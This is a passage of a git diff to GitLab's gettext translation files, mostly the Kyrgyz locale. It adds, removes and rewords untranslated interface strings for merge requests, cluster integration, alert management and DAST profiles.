+msgid "mrWidget|This merge request is in the process of being merged"
msgstr ""
msgid "mrWidget|This project is archived, write access has been disabled"
@@ -29372,6 +30197,9 @@ msgstr ""
msgid "quick actions"
msgstr ""
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr ""
@@ -29416,9 +30244,6 @@ msgstr ""
msgid "satisfied"
msgstr ""
-msgid "score"
-msgstr ""
-
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -29536,6 +30361,9 @@ msgstr ""
msgid "this document"
msgstr ""
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -29554,6 +30382,9 @@ msgstr ""
msgid "triggered"
msgstr ""
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr ""
@@ -29617,6 +30448,9 @@ msgstr ""
msgid "vulnerability|Add comment & dismiss"
msgstr ""
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr ""
diff --git a/locale/ky_KG/gitlab.po b/locale/ky_KG/gitlab.po
index ad7247ba75d..b6373278200 100644
--- a/locale/ky_KG/gitlab.po
+++ b/locale/ky_KG/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: ky\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 13:39\n"
+"PO-Revision-Date: 2020-09-04 23:03\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -56,13 +56,13 @@ msgstr[1] ""
msgid " or "
msgstr ""
-msgid " or <!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
msgstr ""
-msgid " or <#issue id>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
msgstr ""
-msgid " or <&epic id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
@@ -71,6 +71,9 @@ msgstr ""
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr ""
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
msgstr[0] ""
@@ -297,6 +300,9 @@ msgstr[1] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{address} is an invalid IP address range"
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
@@ -333,6 +339,9 @@ msgstr ""
msgid "%{cores} cores"
msgstr ""
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr ""
@@ -389,6 +398,9 @@ msgstr ""
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr ""
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr ""
@@ -416,7 +428,7 @@ msgstr ""
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr ""
-msgid "%{global_id} is not a valid id for %{expected_type}."
+msgid "%{global_id} is not a valid ID for %{expected_type}."
msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
@@ -503,9 +515,6 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr ""
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
@@ -524,6 +533,9 @@ msgstr ""
msgid "%{loadingIcon} Started"
msgstr ""
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr ""
@@ -533,6 +545,18 @@ msgstr ""
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr ""
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr ""
@@ -645,6 +669,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -670,6 +697,9 @@ msgstr ""
msgid "%{size} bytes"
msgstr ""
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr ""
@@ -685,6 +715,9 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
@@ -758,6 +791,9 @@ msgstr ""
msgid "%{totalWeight} total weight"
msgstr ""
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr ""
@@ -791,6 +827,9 @@ msgstr ""
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr ""
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
@@ -800,7 +839,22 @@ msgstr ""
msgid "&lt;project name&gt;"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
@@ -844,6 +898,9 @@ msgstr ""
msgid "(line: %{startLine})"
msgstr ""
+msgid "(max size 15 MB)"
+msgstr ""
+
msgid "(removed)"
msgstr ""
@@ -1042,15 +1099,6 @@ msgstr ""
msgid ":%{startLine} to %{endLine}"
msgstr ""
-msgid "< 1 hour"
-msgstr ""
-
-msgid "<project name>"
-msgstr ""
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr ""
-
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr ""
@@ -1114,7 +1162,7 @@ msgstr ""
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr ""
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
+msgid "A merge request approval is required when the license compliance report contains a denied license."
msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
@@ -1132,6 +1180,9 @@ msgstr ""
msgid "A new impersonation token has been created."
msgstr ""
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr ""
@@ -1234,6 +1285,9 @@ msgstr ""
msgid "Access forbidden. Check your access level."
msgstr ""
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr ""
@@ -1345,6 +1399,9 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr ""
@@ -1377,12 +1434,6 @@ msgstr[1] ""
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr ""
@@ -1497,6 +1548,9 @@ msgstr ""
msgid "Add comment now"
msgstr ""
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1509,6 +1563,9 @@ msgstr ""
msgid "Add environment"
msgstr ""
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr ""
@@ -1521,6 +1578,9 @@ msgstr ""
msgid "Add italic text"
msgstr ""
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr ""
@@ -1800,6 +1860,9 @@ msgstr ""
msgid "AdminSettings|Select a template"
msgstr ""
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -1815,6 +1878,9 @@ msgstr ""
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr ""
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr ""
@@ -2042,6 +2108,9 @@ msgstr[1] ""
msgid "AlertManagement|Acknowledged"
msgstr ""
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr ""
@@ -2072,7 +2141,7 @@ msgstr ""
msgid "AlertManagement|Authorize external service"
msgstr ""
-msgid "AlertManagement|Create issue"
+msgid "AlertManagement|Create incident"
msgstr ""
msgid "AlertManagement|Critical"
@@ -2129,9 +2198,6 @@ msgstr ""
msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr ""
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2144,6 +2210,9 @@ msgstr ""
msgid "AlertManagement|Resolved"
msgstr ""
+msgid "AlertManagement|Runbook"
+msgstr ""
+
msgid "AlertManagement|Service"
msgstr ""
@@ -2186,16 +2255,13 @@ msgstr ""
msgid "AlertManagement|Triggered"
msgstr ""
-msgid "AlertManagement|Unassigned"
-msgstr ""
-
msgid "AlertManagement|Unknown"
msgstr ""
msgid "AlertManagement|View alerts in Opsgenie"
msgstr ""
-msgid "AlertManagement|View issue"
+msgid "AlertManagement|View incident"
msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
@@ -2225,7 +2291,7 @@ msgstr ""
msgid "AlertSettings|Authorization key"
msgstr ""
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
@@ -2324,6 +2390,9 @@ msgstr ""
msgid "All environments"
msgstr ""
+msgid "All epics"
+msgstr ""
+
msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr ""
@@ -2471,6 +2540,9 @@ msgstr ""
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr ""
@@ -2537,6 +2609,9 @@ msgstr ""
msgid "An error occurred while committing your changes."
msgstr ""
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr ""
@@ -2609,9 +2684,18 @@ msgstr ""
msgid "An error occurred while fetching the Service Desk address."
msgstr ""
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr ""
@@ -2753,13 +2837,16 @@ msgstr ""
msgid "An error occurred while retrieving diff"
msgstr ""
-msgid "An error occurred while saving LDAP override status. Please try again."
+msgid "An error occurred while retrieving diff files"
msgstr ""
-msgid "An error occurred while saving assignees"
+msgid "An error occurred while retrieving projects."
msgstr ""
-msgid "An error occurred while saving the approval settings"
+msgid "An error occurred while saving LDAP override status. Please try again."
+msgstr ""
+
+msgid "An error occurred while saving assignees"
msgstr ""
msgid "An error occurred while saving the template. Please check if the template exists."
@@ -2786,12 +2873,18 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
msgid "An error occurred while validating username"
msgstr ""
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr ""
@@ -2870,6 +2963,9 @@ msgstr ""
msgid "Any Author"
msgstr ""
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr ""
@@ -3085,6 +3181,9 @@ msgstr ""
msgid "April"
msgstr ""
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr ""
@@ -3097,6 +3196,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr ""
@@ -3112,9 +3214,6 @@ msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr ""
-
msgid "Are you sure that you want to archive this project?"
msgstr ""
@@ -3223,7 +3322,7 @@ msgstr ""
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr ""
-msgid "Are you sure? The device will be signed out of GitLab."
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
msgstr ""
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
@@ -3235,9 +3334,6 @@ msgstr ""
msgid "Artifact"
msgstr ""
-msgid "Artifact ID"
-msgstr ""
-
msgid "Artifact could not be deleted."
msgstr ""
@@ -3250,6 +3346,9 @@ msgstr ""
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr ""
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
@@ -3509,7 +3608,7 @@ msgstr ""
msgid "Authorize %{link_to_client} to use your account?"
msgstr ""
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
msgid "Authorize external services to send alerts to GitLab"
@@ -3587,6 +3686,9 @@ msgstr ""
msgid "Automatic certificate management using Let's Encrypt"
msgstr ""
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -3713,7 +3815,7 @@ msgstr ""
msgid "Badges|This project has no badges"
msgstr ""
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
msgstr ""
msgid "Badges|Your badges"
@@ -3827,6 +3929,9 @@ msgstr ""
msgid "BillingPlans|per user"
msgstr ""
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr ""
@@ -3896,13 +4001,16 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr ""
msgid "Branch %{branchName} was not found in this project's repository."
msgstr ""
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
msgstr ""
msgid "Branch has changed"
@@ -4097,6 +4205,9 @@ msgstr ""
msgid "Burnup chart"
msgstr ""
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr ""
@@ -4271,6 +4382,9 @@ msgstr ""
msgid "Cancel"
msgstr ""
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr ""
@@ -4304,10 +4418,10 @@ msgstr ""
msgid "Cannot import because issues are not available in this project."
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential issues"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
msgstr ""
msgid "Cannot merge"
@@ -4328,7 +4442,7 @@ msgstr ""
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr ""
-msgid "Cannot set confidential epic for not-confidential issue"
+msgid "Cannot set confidential epic for a non-confidential issue"
msgstr ""
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
@@ -4514,9 +4628,6 @@ msgstr ""
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
-msgid "Check your .gitlab-ci.yml"
-msgstr ""
-
msgid "Check your Docker images for known vulnerabilities."
msgstr ""
@@ -4742,7 +4853,7 @@ msgstr ""
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr ""
-msgid "Choose what content you want to see on a group’s overview page"
+msgid "Choose what content you want to see on a group’s overview page."
msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
@@ -4910,9 +5021,15 @@ msgstr ""
msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr ""
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr ""
@@ -5018,6 +5135,9 @@ msgstr ""
msgid "Closed %{epicTimeagoDate}"
msgstr ""
+msgid "Closed epics"
+msgstr ""
+
msgid "Closed issues"
msgstr ""
@@ -5051,19 +5171,25 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
+msgid "ClusterAgent|This feature is only available for premium plans"
+msgstr ""
+
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
msgstr ""
-msgid "ClusterIntegration| can be used instead of a custom domain."
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
@@ -5111,13 +5237,16 @@ msgstr ""
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr ""
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr ""
-msgid "ClusterIntegration|Alternatively"
+msgid "ClusterIntegration|Alternatively, "
msgstr ""
msgid "ClusterIntegration|Amazon EKS"
@@ -5135,6 +5264,9 @@ msgstr ""
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr ""
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr ""
@@ -5174,15 +5306,12 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
msgstr ""
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr ""
@@ -5207,6 +5336,9 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr ""
@@ -5390,9 +5522,6 @@ msgstr ""
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -5588,7 +5717,7 @@ msgstr ""
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr ""
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
@@ -5807,12 +5936,15 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
msgstr ""
-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -5852,15 +5984,27 @@ msgstr ""
msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr ""
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr ""
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr ""
msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
msgstr ""
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr ""
@@ -5885,6 +6029,9 @@ msgstr ""
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr ""
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr ""
@@ -5900,9 +6047,6 @@ msgstr ""
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr ""
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
@@ -5933,7 +6077,7 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|documentation"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
@@ -6110,6 +6254,12 @@ msgstr ""
msgid "Comment/Reply (quoting selected text)"
msgstr ""
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr ""
@@ -6310,7 +6460,7 @@ msgstr ""
msgid "Configure Tracing"
msgstr ""
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
@@ -6763,9 +6913,6 @@ msgstr ""
msgid "Copy"
msgstr ""
-msgid "Copy %{field}"
-msgstr ""
-
msgid "Copy %{http_label} clone URL"
msgstr ""
@@ -6850,6 +6997,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy to clipboard"
+msgstr ""
+
msgid "Copy token"
msgstr ""
@@ -6862,6 +7012,9 @@ msgstr ""
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr ""
@@ -6886,15 +7039,21 @@ msgstr ""
msgid "Could not create group"
msgstr ""
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr ""
-msgid "Could not delete %{design}. Please try again."
+msgid "Could not create wiki page"
msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr ""
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr ""
@@ -6925,6 +7084,9 @@ msgstr ""
msgid "Could not save prometheus manual configuration"
msgstr ""
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr ""
@@ -6940,6 +7102,11 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Create"
msgstr ""
@@ -7030,6 +7197,9 @@ msgstr ""
msgid "Create file"
msgstr ""
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr ""
@@ -7066,6 +7236,9 @@ msgstr ""
msgid "Create new branch"
msgstr ""
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr ""
@@ -7090,6 +7263,9 @@ msgstr ""
msgid "Create project label"
msgstr ""
+msgid "Create release"
+msgstr ""
+
msgid "Create requirement"
msgstr ""
@@ -7261,6 +7437,9 @@ msgstr ""
msgid "Custom hostname (for private commit emails)"
msgstr ""
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr ""
@@ -7357,6 +7536,15 @@ msgstr ""
msgid "Customize your pipeline configuration."
msgstr ""
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr ""
@@ -7521,6 +7709,9 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -7551,25 +7742,55 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr ""
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
